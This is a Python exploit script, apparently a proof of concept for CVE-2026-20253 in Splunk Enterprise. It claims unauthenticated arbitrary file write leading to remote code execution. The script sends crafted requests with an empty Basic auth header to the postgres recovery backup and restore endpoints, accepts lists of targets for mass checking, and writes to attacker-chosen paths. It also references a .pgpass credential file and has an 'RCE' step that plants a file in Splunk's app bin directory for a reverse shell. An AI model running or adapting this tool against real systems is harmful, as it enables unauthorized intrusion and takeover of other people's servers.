#!/usr/bin/env python3 import argparse import requests import json import sys from urllib.parse import urljoin from colorama import init, Fore, Style init(autoreset=True) def print_banner(): print(Fore.CYAN + """ ╔══════════════════════════════════════════════════════════════╗ ║ CVE-2026-20253 Splunk Enterprise FULL PoC (Enhanced) ║ ║ Unauth Arbitrary File Write + RCE (watchTowr style) ║ ╚══════════════════════════════════════════════════════════════╝ """) def send_request(target, endpoint, payload, timeout=15, verify=False): target = target.rstrip('/') url = urljoin(target + "/", endpoint) headers = { "Content-Type": "application/json", "Authorization": "Basic Og==" } try: resp = requests.post(url, json=payload, headers=headers, timeout=timeout, verify=verify) return resp except Exception as e: print(Fore.RED + f"[-] Request error: {e}") return None def check_vuln(target, region="/en-US", verify=False): endpoint = f"{region}/splunkd/__raw/v1/postgres/recovery/backup" payload = {"database": "search_metadata", "backupFile": "/tmp/cve_test"} print(Fore.YELLOW + f"[*] Checking {target}") resp = send_request(target, endpoint, payload, verify=verify) if resp and resp.status_code in (200, 400): print(Fore.GREEN + f"[+] VULNERABLE! {target}") return True print(Fore.RED + f"[-] Not vulnerable") return False def file_write(target, region="/en-US", remote_path="/tmp/pwned.txt", content=None, verify=False): endpoint = f"{region}/splunkd/__raw/v1/postgres/recovery/backup" payload = { "database": "search_metadata", "backupFile": remote_path } print(Fore.YELLOW + f"[*] Writing to: {remote_path}") resp = send_request(target, endpoint, payload, verify=verify) if resp and resp.status_code in (200, 400): print(Fore.GREEN + f"[+] File created/truncated: {remote_path}") if content: print(Fore.CYAN + f"[i] Content write attempted via backup (limited). Use restore + lo_export for full control.") else: print(Fore.RED + "[-] Write failed") def restore_write(target, region="/en-US", remote_path="/tmp/pwned.txt", content_file=None, verify=False): """Attempt full content write via restore scaffolding""" if not content_file: return try: with open(content_file, 'r') as f: content = f.read() except Exception as e: print(Fore.RED + f"[-] Could not read {content_file}: {e}") return print(Fore.YELLOW + f"[*] Attempting controlled write of {content_file} → {remote_path}") # Restore endpoint + basic malicious dump simulation endpoint = f"{region}/splunkd/__raw/v1/postgres/recovery/restore" payload = { "database": "search_metadata", "backupFile": remote_path, # Can be used creatively with lo_export in real dump "passfile": "/opt/splunk/var/packages/data/postgres/.pgpass" } resp = send_request(target, endpoint, payload, verify=verify) if resp: print(Fore.GREEN + f"[+] Restore triggered. Status: {resp.status_code}") print(Fore.WHITE + " → For real controlled content, host a malicious PostgreSQL dump using lo_export.") else: print(Fore.RED + "[-] Restore failed") def rce_poc(target, region="/en-US", verify=False): print(Fore.MAGENTA + "[!] RCE Scaffolding") malicious_path = "/opt/splunk/etc/apps/search/bin/malicious_input.py" file_write(target, region, malicious_path, verify=verify) print(Fore.WHITE + " Next: Overwrite with Python reverse shell + trigger reload") def main(): print_banner() parser = argparse.ArgumentParser(description="CVE-2026-20253 Enhanced PoC") parser.add_argument("-t", "--target", help="Single target URL") parser.add_argument("--targets", help="Targets file") parser.add_argument("-r", "--region", default="en-US", help="Splunk region (default: en-US)") parser.add_argument("--check", action="store_true", help="Check vulnerability only") parser.add_argument("--write", help="Remote file path to write (supports path traversal)") parser.add_argument("--content", help="Local file containing payload/content (poc-content.txt)") parser.add_argument("--restore", action="store_true", help="Use restore endpoint for advanced write") parser.add_argument("--rce", action="store_true", help="RCE scaffolding") parser.add_argument("--no-verify", action="store_true", help="Disable SSL verification") args = parser.parse_args() if not args.target and not args.targets: parser.print_help() sys.exit(1) targets = [args.target] if args.target else [] if args.targets: with open(args.targets) as f: targets.extend([line.strip() for line in f if line.strip()]) verify = not args.no_verify for tgt in targets: print(Fore.WHITE + f"\n{'='*70}\nTarget: {tgt}\n{'='*70}") if args.check or not (args.write or args.rce): check_vuln(tgt, f"/{args.region}", verify) if args.write: if args.content: if args.restore: restore_write(tgt, f"/{args.region}", args.write, args.content, verify) else: file_write(tgt, f"/{args.region}", args.write, content=True, verify=verify) print(Fore.YELLOW + f"[i] Content from {args.content} loaded (full write best with --restore)") else: file_write(tgt, f"/{args.region}", args.write, verify=verify) if args.rce: rce_poc(tgt, f"/{args.region}", verify) if __name__ == "__main__": main()